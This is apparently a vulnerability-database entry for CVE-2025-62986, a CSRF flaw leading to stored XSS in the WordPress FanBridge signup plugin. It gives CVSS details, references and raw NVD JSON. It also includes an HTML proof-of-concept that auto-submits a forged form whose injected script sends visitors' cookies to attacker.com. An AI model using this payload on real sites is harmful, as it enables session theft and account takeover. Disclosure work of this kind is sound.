CVE-2025-62986

Description

Cross-Site Request Forgery (CSRF) vulnerability in FanBridge FanBridge signup fanbridge-signup allows Stored XSS.This issue affects FanBridge signup: from n/a through <= 0.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress FanBridge signup插件 <= 0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-62986</title> </head> <body> <h1>CSRF Attack PoC for FanBridge signup Plugin</h1> <p>This PoC demonstrates the CSRF vulnerability that leads to Stored XSS.</p> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrfForm"> <input type="hidden" name="action" value="fanbridge_signup_submit"> <input type="hidden" name="email" value="[email protected]">  <input type="hidden" name="name" value='"><script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'> <input type="hidden" name="subscribe" value="1"> <input type="hidden" name="nonce" value=""> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); console.log('CSRF PoC executed - Malicious request sent'); </script> <p>If you see this message, the form was submitted successfully.</p> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62986
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62986
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62986/
[4] VulDB https://vuldb.com/cve/CVE-2025-62986
[5] https://patchstack.com/database/Wordpress/Plugin/fanbridge-signup/vulnerability/wordpress-fanbridge-signup-plugin-0-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62986", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:59.597", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in FanBridge FanBridge signup fanbridge-signup allows Stored XSS.This issue affects FanBridge signup: from n/a through <= 0.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fanbridge-signup/vulnerability/wordpress-fanbridge-signup-plugin-0-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}